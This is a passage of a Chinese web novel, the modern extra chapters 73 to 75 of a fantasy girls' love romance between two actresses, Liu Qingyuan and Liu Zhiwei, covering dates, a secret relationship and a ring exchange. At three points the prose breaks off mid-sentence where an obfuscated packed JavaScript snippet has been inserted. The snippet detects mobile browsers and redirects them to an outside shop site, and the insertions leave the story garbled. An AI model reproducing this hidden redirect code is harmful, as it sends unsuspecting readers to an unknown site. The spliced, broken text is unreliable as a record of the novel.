第二天。 柳清圆在自己的化妆间里,收到了柳知微发过来的消息。 是一段很长的小故事。 “从前有座山,山里有个兔子村,兔子就住在兔子村。某一天,她于断崖边,遇一朵生于石隙的小小七色心粟,小白兔仰头望着山巅最高处那株七色花儿,然后攀上悬崖,摘下了这朵悬了不知多少年的孤星。 “此后,小红花便随她踏遍青山,去看那世间如何光景。可最后,一兔一花齐齐坠下高枝,小白兔跌伤了,那花儿都要散了。 “但是小红花从不怨小白兔,只因为她懂那颗莽撞又赤诚的心。也欢喜着小白兔的那一句…… “嘻嘻,V我五百,解锁下文哦ヽ(*≧ω≦)?” 柳清圆看完,面无表情地锁屏。三秒后,又解锁看了一遍,然后直接转账五百,接着没好气地回复。 “?(?θ?)?” 柳知微抱着笔记本咯咯傻笑,然后又划去自己说柳清圆的坏话,提笔在那笔记后面重新写下来。 ——小白兔说:“别丢下我一个人嘛。” ——话音刚落,小红花就蹦蹦跳跳地来找她啦~ 73. 主cp现代番外2 柳知微盯着屏幕,看着那条转账记录,嘴角快咧到耳根。她故意等了三十秒才慢悠悠地敲下那行字。 “小兔子你哦,终于上当啦!” 发完立刻把手机扣在胸口,心跳快得像揣了只真正的兔子。 对方正在输入……的提示闪了又灭,灭了又闪,反反复复了好一会儿。 柳知微盯着那行“正在输入”,紧张得几乎忘了呼吸。 终于,消息弹了出来。 “不嘻嘻。” 柳知微眨了眨眼,笑意愈深。想到柳清圆在公众面前那副高冷魅惑的御姐模样,她就忍不住弯起嘴角。这样乖巧的小白兔,合该只属于她一人,也只有她,才能看见。 柳知微扑倒在床上,晃了晃两条腿:“好吧,看在你这么可爱的份儿上就原谅你啦。” 她在聊天框里打着字。 【圆圆想吃小笼包吗?来给你送早餐咯,想看你吃饭(∩_∩)】 这回回复来得很快。 “好。” 柳知微盯着这两个字看了好几秒,忽然从床上弹起来,连滚带爬地冲进浴室洗漱。镜子里的自己顶着一头乱发,眼睛下面还有淡淡的青黑,嘴角却挂着怎么都压不下去的笑。 她对着镜子拍了拍脸,试图让自己冷静下来。 “柳知微你清醒一点,她还没说喜欢你!我只是去给她送个早餐! 她手忙脚乱地换好衣服,选来选去还是穿了那件鹅黄色的连衣裙,又觉得太刻意,想换成普通的T恤短裤,犹豫了一下又把裙子换了回去,最后对着镜子骂了自己一句“有病”,干脆披了件薄外套。 柳知微站在门外,戴着黑色口罩和棒球帽,墨镜遮住了大半张脸,手里拎着一个纸袋,然后深呼吸了好几下。 柳知微在自家门口徘徊了一整个上午,鬼鬼祟祟换了好几次身打扮,手里那袋小笼包被她在楼上楼下之间颠来倒去。最后一次上楼时她忽然恼了,赌气把包子全塞进嘴里,嚼了两口就噎住了。她捂着嘴弯下腰,憋得满脸通红,闷咳了好一阵才缓过来。 “柳知微你到底什么意思?”她终于咳完了,又开始对着地板生闷气,“有没有点出息!” 柳知微最后还是又只敢拿着那本笔记本撒气。 她想起那些年一个人在姑媱山上,守着那本笔记本,每天在上面写字,等着另一边有人回应。那时候她总在想,圆圆是不是忘记她了。 “你就是个笨蛋。”柳知微哭着说。 那个笔记本又亮起来。 “柳清圆是大笨蛋,是全世界最笨的笨蛋。” 柳知微看着新出现的这两行字,眼泪还挂在脸上,嘴角却忍不住弯了弯。 “再说三遍!” “圆圆是大笨蛋——” “不准说圆圆!”她立刻打断,“柳清圆这个人才是笨蛋!圆圆不是!” 对方顿了一下,又乖乖写道:“柳清圆是全世界最笨最笨的笨蛋。柳清圆是全世界最笨最笨的笨蛋。柳清圆是全世界最笨最笨的笨蛋。” 柳知微这才破涕为笑。 她乐呵呵地捧着那本笔记本,却没注意到房门已经被打开了,人影到床前时,她猛地将笔记本合上仰起头来看。柳清圆伸手擦掉她脸上的泪,手里还提着那一袋小笼包。 柳清圆笑着捏了捏对方的脸:“早上不是说好了要给我送吃的吗?这会儿怎么自己哭起来了?” 柳知微哭着哭着就笑了,一把抓住柳清圆的手,十指扣紧,她的声音闷闷的,带着鼻音。 “你先别看我。” 刚才流的眼泪还没干,新的又涌了出来。她觉得自己现在一定狼狈极了,眼睛肿着,鼻子红着,嘴角还沾着小笼包的油光。 柳知微偏过头去,却被柳清圆轻轻按住。她俯下身,唇瓣贴上她的额头。 “不好好收拾自己,脸上这么油,让我亲哪儿?” 柳清圆笑得毫无顾忌,眉眼弯弯的,眼里映照着那个普普通通的、被喜欢的人亲了一口就会偷偷开心很久的小姑娘。 见山清水明,情愿随它去随意。亲卿在馨心,如意自然花满溪。 柳知微羞恼地用被子蒙住脸,整个人都不好了,声音闷闷地从被子里边传出来:“柳清圆!” 可恶又被她撩到了!昨晚被她冷落的事情还没完呢,柳知微不能就这么容易消气! …… “柳清圆x柳知微”的热搜挂了好几天,CP粉嗑生嗑死,两家工作室的公关团队轮流加班,楼静时恨不得把自己劈成两半用。 但这一切都拦不住柳清圆和柳知微。 五一小长假第一天,天还没亮,柳知微就坐到了柳清圆的副驾驶上,系好安全带,怀里抱着两杯柳清圆带来的咖啡,脑子终于清醒了一点。 柳知微为了让柳清圆快点想起来她们之间的事情,她为此制定了一百件情侣之间要做的事。曾经有过一只小兔子,在小红花被风雨打得东倒西歪的时候,寸步不离地守着她,自己却烧得滚烫,烧退了就把小红花忘了,于是小红花就要让小兔子想起来! 在拍完《神女倾世无双》以后,柳清圆还是不肯和她在一起,总是若即若离,搞得跟地下情似的。柳知微可不乐意,她要的就是一个名分。 这第一件事嘛,就是看日出。 柳知微打了几百个呵欠,柳清圆倒是守时,说四点起就四点起,连个赖床的意思都没有。 “你睡了多久?”柳知微揉着眼睛问。 柳清圆干脆地回答:“没睡。” 柳知微手里的咖啡都差点泼出去。 到了山上,天边开始泛红了,先是浅浅的一层,然后越来越浓。金色和橙红色层层晕染开来,云海翻涌,万籁俱寂,然而这山上的风又快又急,两人都挂了一脸的冰碴子,一点也不浪漫。 柳知微想起小时候在姑媱山上看日出的日子。那时候圆圆总是站在她身后半步的位置,说是看日出,其实大半时间都在看她。 “好看吗?”柳知微问,她还不太想浪费这次被搞砸的约会。 柳清圆看着远处越来越亮的天光,轻声说:“好冷。” 柳知微:“……”面前这人的情商似乎为零。 “圆圆,给你拍照好不好?”柳知微举起手机。 柳清圆摇头:“不要,你上次拍的可丑了。” 柳知微不服:“哪里丑了?我拍照技术很好的!” 结果拍完之后两个人对视一眼,柳知微先绷不住笑了,柳清圆的嘴角也跟着弯了弯。 “就再拍一张嘛,”柳知微撒娇似的靠过去,“证明我们来看过日出。” 柳清圆没反对就是默认。柳知微举起手机,把两个人挂满了冰碴子的脸和远处漫天的朝霞一起框进取景框。柳清圆的表情依旧是那副清冷的样子,但身体很诚实地往柳知微那边倾了倾。 柳知微低头端详那张照片,确实把两人的脸都拍歪了。她心虚地瞄了柳清圆一眼,讪讪笑了两声,想让人再拍两张,柳清圆却死活不肯。她索性偷偷把那张照片发到朋友圈,配文写道:“柳清圆你好烦!为什么不笑!” 三秒后,柳清圆在底下评论:“?” 评论区顿时炸了。 【楼静时:你们两个别在我朋友圈秀恩爱!!!避嫌!!!避嫌懂不懂!!!】 【沈流商:。】 【谢济泫:@沈流商什么时候回家?】 【沈流商回复谢济泫:人已死,勿扰。】 【谢济泫:呜呜呜……o(╥﹏╥)o】 【姑媱山的花花草草齐声呐喊:圣女不要离家出走啦,快回来啊!】 吓得柳知微赶紧把姑媱山那些花草全给屏蔽了。 从山上下来的路上,两个人去了一家藏在巷子深处的小火锅店。店面不大,装修也很朴素,但胜在隐蔽,狗仔不容易跟进来,而且味道极好。 柳知微爱吃辣,点了个红油锅底,涮了一盘毛肚,辣得直吸气。柳清圆在旁边慢条斯理地涮着肥牛,偶尔看她一眼,偶尔递张纸巾。 “你要不要尝一口这个?”柳知微机夹了一片浸满红油的毛肚递过去,“特别好吃!” 柳清圆看了一眼那片红彤彤的毛肚,面无表情:“不吃。” “就尝一口嘛!” “太辣。” “不辣的!你看我吃得这么开心……” “你眼泪都出来了。” 柳知微伸手一摸,果然脸上沾了些湿湿的。她又笑了笑:“那我给你涮个番茄锅的?” 柳清圆看了她一眼,伸手把那片毛肚接了过去,面不改色地吃了。 “……你不是说太辣吗?”柳知微目瞪口呆。 柳清圆端起水杯喝了一大口,耳朵尖微微泛红,又笑意盈盈地望向她:“我拒绝的话,你会多哄哄我。” 柳知微看着她被辣红的嘴唇和耳朵,心里忽然泛起一阵又甜又涩的涟漪。这人就是这样,嘴上什么都不说,到头来却什么都替她兜住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576362|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也眯起眼,肚子里装的尽是坏水:“好姐姐,你能不能直接一点?” 柳清圆故意装听不懂:“什么意思?” “就是……”柳知微放下筷子,然后凑进去在柳清圆脸颊上印下一个大大的口红印,“现在盖章啦,你就是我的啦。” 柳清圆愣了一瞬,还没来得及撩回去,锅里的汤却猛地沸了出来。两个人同时手忙脚乱地去关火,筷子掉了,汤溅了,场面一度混乱得不行。 这火锅吃的很是快意,柳知微含泪干了三大碗,柳清圆倒是被柳知微突然袭击之后整个人都有些懵懵的,一直反应不过来,柳知微都叫了她好几次,柳清圆才回过神来。 柳知微看着柳清圆安分吃饭的模样,心中倒有些怵然,果然还是有些操之过急了。 就在两人气氛有些僵时,一只金色的猫儿懒洋洋地走过来,蹭了蹭柳知微的裤腿。 “你看,它多乖。”柳知微托着那猫的爪子冲柳清圆挥了挥,“它在跟你打招呼呢,说‘姐姐你好漂亮’。” 柳清圆低头看着怀里那只呼噜呼噜的大肥猫,僵持了三秒钟,试探性地伸手摸了摸它的背。肥猫舒服得眯起眼睛,往她怀里拱了拱。 柳知微看着她那副努力维持高冷人设、但明显已经被猫收买了的样子,笑得蹲在地上起不来。 “你还笑。”柳清圆瞥了她一眼,语气里有几分无奈。 柳清圆没再反驳,因为她怀里又多了一只银渐层,两只猫把她的大腿占得满满当当。她腾不出手来,只能任由柳知微举起手机疯狂按快门。 柳知微暗自跟那只肥猫传音:“洛洛,晚上给你加鸡腿!”洛洛正是她的灵宠,离家出走的时候就把猫带走了。 按照柳知微的安排,在劳动节的第二天她们就要去看古画博物馆。 两个人戴着口罩和帽子,混在一群游客中间,低调得很。但再低调也挡不住柳清圆那双大长腿,走在展厅里跟走红毯似的,引得好几个人回头张望。 “你能不能走快点?”柳知微小声催促,“有人看我们了。” “看就看,怕什么。”柳清圆慢悠悠地踱步,在一幅古画前停下来。 柳知微也凑过去看,是一幅宋代的花鸟画,画着一只兔子蹲在花丛里,仰头看着一朵不知名的野花。 她心里一动,偷偷瞄了柳清圆一眼。这可是她之前查探过的,这家博物馆里有很多这样的画,又有兔子又有花,相互依偎,无比依恋,一准儿能对柳清圆的记忆起到刺激作用! 柳清圆的目光落在那只兔子上,眼神柔和了许多,不知道在想什么。 “你想到什么了?”柳知微试探着问。 柳清圆故意摇头:“记不清楚,好像有点像这兔子,又有些像这花儿。” 柳知微心跳快了一拍,面上却装作听不懂:“怎么说话没头没尾的,柳清圆你是不是在耍我。” 柳清圆难得地笑了一声。她瞪了柳清圆一眼,举起手机,对着那副画拍了张照片。 “回去发给粉丝看,就说我和姐姐一起逛博物馆,她们肯定不信。” 柳清圆说:“私人行程,不要公开。” “我知道,我就是说说。”柳知微收起手机,歪头看她,“你是不是不太喜欢公开?” 柳清圆没回答。 柳知微咬了咬嘴唇,声音小了下去:“我开玩笑的,你别当真。” “不是不喜欢公开。”柳清圆忽然开口,声音很低,“是怕公开了,你就没有退路了。” “我不在乎。”柳知微说。她的下巴微微抬起,眼神干净而明亮,像是不觉得这件事有什么值得犹豫的。 “我在乎你。”柳清圆终于转过头来,她的睫毛低垂着,嘴角动了动,却没有笑,像是在克制什么很深的东西。 周围的游客来来往往,讲解员的喇叭声远远近近地响着。柳知微看着柳清圆那双深不见底的眼睛,忽然伸手,勾住了她的小指。 “那就不着急公开,”柳知微弯了弯眼睛,声音轻轻的,“我等得起。反正你跑不掉的。” 柳清圆低头看着两个人勾在一起的小指,沉默了很久,最后轻轻回勾了一下。 她忽然有些怕了。 这朵姑媱山的小花,竟敢靠她这样近。她是九幽里爬出来的煞神,身边从来都只有一片死寂和无穷无尽的背弃。善意这种东西,她领教过一次,便再不敢碰。 可此刻她垂眼看着,小花颤巍巍地伸过来的手,没有毒,也没有刀。 74. 主cp现代番外3 五一小长假的最后一个晚上,两个人去看了场夜场电影。那是一个动画片,讲一只兔子历险记。放映厅里全是家长带着小朋友,吵吵闹闹的。她们坐在最后一排角落,低调得像两个隐形人。 柳知微看得津津有味,被兔子逗得前仰后合。柳清圆差点睡着了,但柳知微笑的时候,她就会努力睁大眼睛看看她,目光落在对方的眼底。 电影快结束时,柳清圆暗自松了口气,那只傻兔子终于找到了家人。片尾曲响起来,是很温柔的钢琴声,放映厅的灯还没亮,四周黑漆漆的,只有银幕的光映在两个人脸上,忽明忽暗。 散场后,人群陆陆续续往外走。她们却留在座位上没动,等整个影厅几乎空了才起身。 “都怪那些小朋友。”柳清圆凑到她耳边,声音压低了些,“害我忍了整场。” 柳知微还没来得及笑,一个吻就落了下来,之后她才心满意足地牵起柳知微的手,晃晃悠悠往外走,语气里带着点理所当然的幼稚。 “下次还敢不敢挑这么无聊的动画片?要是没有这种收尾,我可不陪你了。” 柳知微在出口处停下来,低头从包里翻半天,找出一张贴纸,是电影院送的周边,印着那只圆滚滚的兔子。柳知微拉过柳清圆的手,啪地一下贴在她手背上,贴完还得意地拍了拍。 “呐,这就是给你的奖励啦。” 柳清圆低头看了看那只憨态可掬的兔子,又抬头看她,眼神里带着一点无奈。 走了两步,她还是把这个贴纸给揭了,柳知微正要撇嘴表示失望,就看见柳清圆把那张贴纸端端正正地粘在了自己的脸上,然后冲着柳知微宠溺一笑:“这下不准挎着脸了。” 柳知微的嘴角压都压不住,赶紧别过脸去:“总裁大人好霸道啊,夫人笑了三天才肯认错哦。” 柳清圆看了她一眼。路灯的光落下来,整座城市霓虹灯闪烁,柳知微牵着她的手歪着脑袋大笑着,眼睛都眯成一条缝了。 这两个人表面上答应少同框,背地里恨不得一天二十四小时黏在一起。正主发糖根本拦都拦不住,楼静时又把她俩抓起来好好说了一通,终于得到了一点点保证。 两个人终于还是老老实实过起了地下恋情的日子。楼静时每天提心吊胆,生怕哪天热搜又炸了。 后来的一个晚上,楼静时打扮得漂漂亮亮出门相亲了。临走前她手指点着柳知微的鼻子,一字一顿地叮嘱:“你和柳清圆两个今天晚上不许出门、不许见面、不许打电话超过十分钟、不许发暧昧消息,听到了没有?” 柳知微坐在沙发上,抱着抱枕,乖巧地点头:“听到了听到了。”语气真诚得像是办公室挨训的乖学生,楼静时狐疑地看了她一眼,最终叹了口气走了。 门锁咔嗒落下的瞬间,柳知微的表情就变了。她抓起手机飞快地给柳清圆发消息:“静时姐姐出门了,我家空着呢,你来不来?”发完还加了一个猫猫探头表情。 对面秒回:“在门口了。” 柳知微跑去开门,柳清圆就站在门口,手中拎着一大包零食,全是柳知微爱吃的。 两个人瘫在沙发上,电视开着当背景音,谁也没认真看。柳知微抱着抱枕盘着腿,有一搭没一搭地跟柳清圆聊天:“你说静时姐姐那个网恋对象会不会是骗子?总觉得不靠谱,跟杀猪盘似的。” “沈牛山也是,不晓得和嫂嫂如今怎么样了,这俩他逃他追的,我看着都心急。” 说到最后一句的时候,柳清圆偏头看了她一眼,那一眼有点长。柳知微摸了摸自己的脸:“怎么了?” 柳清圆转回去喝了一口雪碧,做出微醺的样子,顿了顿才开口:“你担心他们做什么,他俩玩得花,别跟他们学坏了。” 柳知微愣了一下,旋即抿唇一笑,指尖沿着柳清圆的腿侧缓缓滑了一寸,抬起眼望着她,声音放得又轻又软:“真想不到清圆姐姐还会开这种玩笑……看来姐姐并非不解风情呢。” 柳清圆低笑一声,反手覆住她的手背,指腹在她指节上轻轻蹭了蹭:“瑛瑛懂得更多……姐姐要不要,亲身试试?” 客厅里安静了很久,电视里的综艺节目传来一阵阵笑声。 柳清圆垂下眼睛,没说话。 但柳知微忽然懂了。她伸手捧住柳清圆的脸,声音哑哑的:“你在犹豫什么?” 柳知微心脏砰砰直跳,赶紧拿起可乐猛灌了一口,结果被气泡呛得直咳嗽。柳清圆伸手拍她的背,一边拍一边笑出声来。柳知微咳得眼泪都出来了,还要控诉她:“你能不能不要在我喝酒的时候笑!” 柳清圆说:“喝的是可乐。” “好姐姐你告诉我,你是怕我没退路,还是怕那些黑料?还是更怕我这个人?”柳知微吸了吸鼻子,眼中盈起一层水雾。 “瑛瑛,今天不谈这个好吗?”柳清圆不笑了,但嘴角还是弯着的。她看着柳知微的脸,忽然说:“我见你之前喜欢猫,不如我们养一只。” 柳知微沉默了,垂头丧气地耷拉着脑袋,有气无力问:“我有猫了,洛洛就是我的猫。” 柳清圆看着她,眼里漾出几分狡黠的笑意,像是藏着什么小秘密:“可我要养的那只不同呢,我遇见的那只猫儿啊,说是一朵七色心粟,还总爱在一个小本子上边记仇,一笔一划的可认真了,还赖着跟我姓……哦对了,她也叫瑛瑛。” 唇印落在眉心的刹那,柳知微听见柳清圆笑问:“猫儿,愿不愿意留在我身边,伴我长守岁岁年年?” 柳知微猛地抬眸看向她,眼里的光一点一点亮起来,像是谁在她眼底点了一盏灯,暖黄色的,摇摇曳曳。 她张了张嘴,话未出口,眼泪先落了下来:“你记得……你想起来了……” 柳清圆看着她。月光从窗帘缝隙漏进来,落在她脸上,那张脸便不像平时那样冷了。柔和的光把她的眉眼都化开了一点,像冰面下透出的暖意。 柳清圆装不下去了。 从柳知微来到她身边那天起,就赖在她生活里,赶也赶不走。柳清圆不信这世上有这样的人,为了小时候那点恩情,就死心塌地待在她这个煞神身边,她不敢信。 可柳知微难过的时候,她还是受不了。尽管她不愿意承认那是心疼。柳清圆只是觉得不该让她露出那种表情,不该让她失望,不该让她笑起来那么难。 门铃响的时候,两个人还窝在沙发上接吻。柳知微嘴唇被亲得有点肿,迷迷糊糊地伸手去推柳清圆:“谁啊……”柳清圆没松手,但门铃又响了,这次是连按了好几下,跟催命似的。 柳知微猛地清醒了,一把推开她:“是静时姐姐!她怎么这么早就回来了!”她慌慌张张地跳下沙发,把柳清圆往厕所里推,“你快躲进去,别出声!” 柳清圆被她推得一踉跄,还没来得及说话,厕所门就在她身后关上了。 柳知微飞速整理了一下头发和衣领,深呼吸两口,打开了门。楼静时站在门口,脸色不太好看,换了鞋进来,把包往沙发上一扔:“那男的简直就是BKing,老娘是真遇到申金了。”她往客厅走了两步,忽然停下来,“谁让你吃这么多零食的,胖了怎么办!” “啊……才吃一点点。”柳知微心虚地点头。 楼静时义正言辞:“这些全都没收了!”她的目光越过柳知微,落在茶几上,那儿有两个杯子。柳知微顺着她的视线看过去,脑子嗡了一下。 “谁来过了?”楼静时的眼神变了。 “没有谁! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576363|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”柳知微的声音拔高了半个调,“就……这不你回来了吗?提前给你倒了杯水,快喝快喝。” 楼静时看了她一眼,没说话,径直朝厕所走去。柳知微一个箭步冲上去拦在前面:“厕所堵住了,今天怕是用不了了!” 楼静时停下脚步,看着她,忽然笑了。那个笑容让柳知微后背发凉,楼静时慢悠悠地开口:“柳知微,你猜我信不信?” 柳知微咽了口口水。 “厕所门打开。”楼静时的语气不容置疑。 “真的不能开……” “打开。” 柳知微咬着嘴唇,僵硬地转过身,手搭在门把手上,迟迟没有动作。 她深吸一口气,拉开门。厕所里空空荡荡,一个人都没有。 柳知微愣了。楼静时探头看了一眼,又看了看窗户,窗户开着,纱窗被掀开了一角。她走过去探出身子往下望,五楼,下面是草坪,连个鬼影都没有。 楼静时问:“人呢?” “什么人?”柳知微一脸无辜。 楼静时盯着她看了五秒钟,转身走了。“一天神神叨叨的,厕所根本没堵好嘛,搞得我还以为你藏奸儿了呢!”说完她又嘱咐了柳知微几句,然后才安心地走了。 柳知微自己也有些懵,然后转头发现柳清圆打开卧室门走了出来,这才恍然大悟。 哎呀,忘记她俩根本不是什么普通人了,这是本修仙文啊。 柳清圆憋着笑,眼睛亮晶晶地看着她,忽然伸手勾住她的脖子,凑过去在她嘴角亲了一下。柳知微看她,呼吸明显重了几分,又亲了一下,这次亲在嘴唇上,声音小小的:“刚才被打断了。” 柳清圆的手从她嘴上滑到腰上,扣紧了,声音低得几乎听不见:“现在没事了。” 柳知微被亲得迷迷糊糊的,脑子里像灌了一整罐蜜,所有的念头都黏稠稠地化开了,只剩下眼前这个人,和她那些温暖的的触碰。 她闭着眼睛,柳清圆的嘴唇从她嘴角滑到耳垂,在那儿停了一瞬,含混地说了三个字。声音很小,像是只说给自己听的耳语,可柳知微偏偏听见了。 她伸手搂紧柳清圆的脖子,把滚烫的脸整个埋进对方颈窝里,闷闷地说了句什么。 柳清圆没听清,偏头凑近。 柳知微这才从她颈窝里慢慢抬起脸来。眼眶红红的,嘴唇也红红的,整个人像是刚从水里捞出来的,带着潮气,也带着光。 “圆圆,再说一遍。” 柳清圆装听不见:“什么?” 柳知微佯装生气,只是侧过脸看她,目光又轻又缓,停了一会儿,她轻轻转过身去不说话了。 这下轮到柳清圆不安,伸手去碰她肩:“知微?” 柳知微没动,只在柳清圆凑过来哄的瞬间,就着那个角度吻了上去。唇齿相接时,有什么圆润微凉的东西顺着舌尖递过来,带着一点点甜。 柳清圆皱了皱眉,取下来看,那竟是枚细细的银戒。 她怔在原地,抬眼时看见柳知微无名指上已然戴好了另一枚,轻轻一圈。 原来她早就戴好了。 柳知微没笑出声,只是嘴角弯着,把她手里的戒指接过去,动作郑重地套上她的无名指。戴好后,低头吻了吻那枚戒指,再吻了吻她的眉心。 “柳清圆,你这个人真的很麻烦。爱我不肯大声说,推开我又舍不得,那行,以后这些别扭的话我来说。你的小脾气我惯着,你难过我第一个陪在你身边。从今天开始,你要推开我一次,我就走近一百步。” “我也爱你,柳清圆。” 她顿了顿,把柳清圆戴戒指的那只手轻轻握住。 柳知微笑着说:“我说完了,你看着办。” 75. 主cp现代番外4 分开的时候,柳知微的脑子像一团被人揉皱的浆糊,什么都想不了,只能靠在柳清圆肩头大口大口地喘气。电视里的购物频道还在自顾自地播着,一个穿红色西装的男人正对着镜头声嘶力竭地推销一款不粘锅,嗓门大得像是恨不得从屏幕里跳出来。 “这个锅……” 柳知微忽然笑出了声,笑得肩膀都在抖。 柳清圆低下头看她,眼底浮起一丝困惑:“笑什么?” “这个锅,”柳知微伸手指了指电视,笑得眼泪都快要出来了,声音还带着刚才接吻后的微微发软,“他说这个锅不粘,你信吗?” 柳清圆偏过头,看了整整三秒钟那个不停翻煎蛋却怎么也翻不熟的男主持人,真诚地吐出两个字:“不信。” “大姐姐好眼光。”柳知微好奇地歪了歪头,额前的碎发蹭在柳清圆的下巴上。 两个人对视一眼,同时笑了。柳知微笑得直不起腰来,整个人软塌塌地挂在柳清圆身上。 “我们是不是应该聊聊?”她的声音轻了下来,刚才那阵笑闹的热闹劲儿一下子散了,取而代之的是一种小心翼翼的认真。 柳清圆的拇指停了一下,又继续慢慢地摩挲着柳知微的指节,像是没有听见似的,过了一会儿才开口:“聊什么?” “聊这个。”柳知微抬了抬两个人交握的手,又指了指自己的嘴唇,那里还残留着刚才那个吻的余温,“你既然接受了我,那跟我回去姑媱山好不好?” “你不是私逃出来的?” “柳清圆你能不能不要每次都把问题抛回来给我?”柳知微气呼呼地鼓起腮帮子,用力瞪了她一眼。但那一双瞪人的眼睛里全是笑意,像被阳光照透的溪水,亮晶晶的,没有任何杀伤力,反而让那张故作凶恶的脸显得格外可爱。 她话说到一半,脸已经红透了,像是给自己鼓了好几回劲才敢开口:“我不想偷偷摸摸了。我想光明正大地跟你牵手逛街,想在朋友圈发合照,我就要发我们就是在一起了,怎么了!今天你不答应也得……” “好。” “……你、你说什么?”柳知微愣住了,眼睛微微睁大:“……好?” 柳清圆只坚定地回:“好。” “你不再考虑考虑?比如事业影响、粉丝反应、经纪公司压力、舆论风险、代言会不会掉、剧组会不会换人……”柳知微一口气列举下去,越说越快,像是要把所有能想到的坏结果全倒出来。 柳清圆忽然笑了,笑意却没到眼底:“瑛瑛,你以为我真就那么喜欢演戏?” 她往前一步,声音低下来。 “我进娱乐圈,是因为这里有一套现成的壳子,只要温柔得体、面面俱到,就是一个同类。我把这壳子穿在身上,就没人会问我里面还剩下什么。” “我是个煞神。”柳清圆说这话时,“天上不收,人间不留。我试过很多地方,很多种活法,我习惯戴上假面,躲避他人的目光,因此我依恋娱乐圈里的这一切。” 柳知微张了张嘴,喉头突然哽住了,说不出一个字来。她看着柳清圆,看着那双一向清冷内敛的眼睛里,此刻翻涌着某种她从未见过的、近乎灼热的光芒。 “我后来终于想明白了,你说的那些,都没有你重要。”柳清圆迎着她的目光,“瑛瑛,唯你是我之生门。” 柳知微的眼泪又来了,眼眶一红,两行泪就这么毫无征兆地滑下来 柳知微吸了吸鼻子,像只被淋了雨的小猫,可怜巴巴地控诉:“你怎么这么会说……你以前不是这样的,明明那么高冷,总摆着张臭脸,还老爱逗我,看我脸红你就得意。” “以前怕说得太多,把你吓跑。”柳清圆擦完泪也不收手,指腹就那么贴在她脸颊上,慢慢地停留了一会儿,“现在不怕了,我们已经成亲了。” “那……现在就公开?” 送楼静时来的那辆出租车停在楼下等了十五分钟,司机按了两声喇叭,楼静时才如梦初醒般从座位上弹起来。 就在刚刚手机收到消息,她点开一看,是一张照片。画面上是柳知微和柳清圆两个人的手交握在一起的特写,配文写着:“给姑奶奶贺喜吧。” 楼静时盯着那张照片看了足足十秒钟,然后发出一声近乎绝望的哀嚎,把旁边的出租车司机吓了一跳,猛地踩了一脚刹车。 “姑娘你没事吧?”司机紧张地回头看她。 “没事,”楼静时面无表情地把手机翻过去扣在膝盖上,声音像是从很远的地方飘过来的,“只是我的两个艺人刚刚同时决定要毁掉自己的职业生涯而已。” 司机张了张嘴,显然没听懂她在说什么,但出于职业道德,还是礼貌地说了一句:“那……祝她们好运?” 楼静时闭上眼睛,深呼吸,再深呼吸,过了一会儿,她重新拿起手机,给柳知微回了一条消息:“你疯了嘛!”然后就看到了一个醒目的红色感叹号。 这死丫头,竟然把她删好友了! 发送键按下去的那一刻,她觉得自己可能终于疯了。 消息发出去的那一秒,柳知微就后悔了。因为她忘了楼静时手里还有她们两个人的合同。她飞快地把楼静时从黑名单里捞出来,连发了三个跪地求饶的表情包,又补了一句:“静时姐姐我错了,刚才手滑。” 楼静时秒回:“手滑删好友?你怎么不手滑把手机吃了?” 柳知微心虚地看了柳清圆一眼。柳清圆正靠在沙发上,姿态闲适,嘴角挂着一丝笑意,显然把她的慌乱全看在眼里。 “静时姐姐说……”柳知微把手机屏幕转向她,语气里带着一丝试探,“要不,我们先不公开?” 柳清圆没有立刻回答。她低下头,拇指慢慢摩挲着柳知微的手背,像是在认真思考这个提议。过了几秒,她忽然问:“你想在哪里办婚礼?” 柳知微差点被自己的口水呛到:“你、你说什么?” “婚礼。”柳清圆重复了一遍,“姑媱山的规矩我不太懂,但人间的仪式总要有的。你想穿婚纱吗?还是凤冠霞帔?” 柳知微张着嘴,大脑宕机了整整五秒钟。她想过柳清圆会说“好”,但没想过会跳得这么快,直接从“在一起”跳到“婚礼”,中间连个缓冲都没有。 “你这也太……”她的声音有点发抖,“太犯规了吧。” 柳清圆看着她这副模样,终于没能忍住,伸手捏了捏她的鼻尖,语气温柔得不像话:“你不是说不想偷偷摸摸了?那就光明正大地办,让所有人都知道。” 柳知微吸了吸鼻子,使劲把眼泪憋回去,然后一把抓住柳清圆的手,眼睛亮得像两颗星星:“那说好了,不许反悔。” “不反悔。” “那你跟我回姑媱山,我要让整个山头的精怪都看看,我娶了个多好看的道侣。” 柳清圆被她这话说得微微一怔,随即弯起唇角,眼底漾开一片柔软的笑意:“好,都听你的。” 柳知微正趴在柳清圆腿上,两个人有一搭没一搭地翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576364|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手机里的合照,商量哪张适合发朋友圈。电话终于接通,楼静时的声音就从听筒里炸了出来,带着一种濒临崩溃的边缘感。 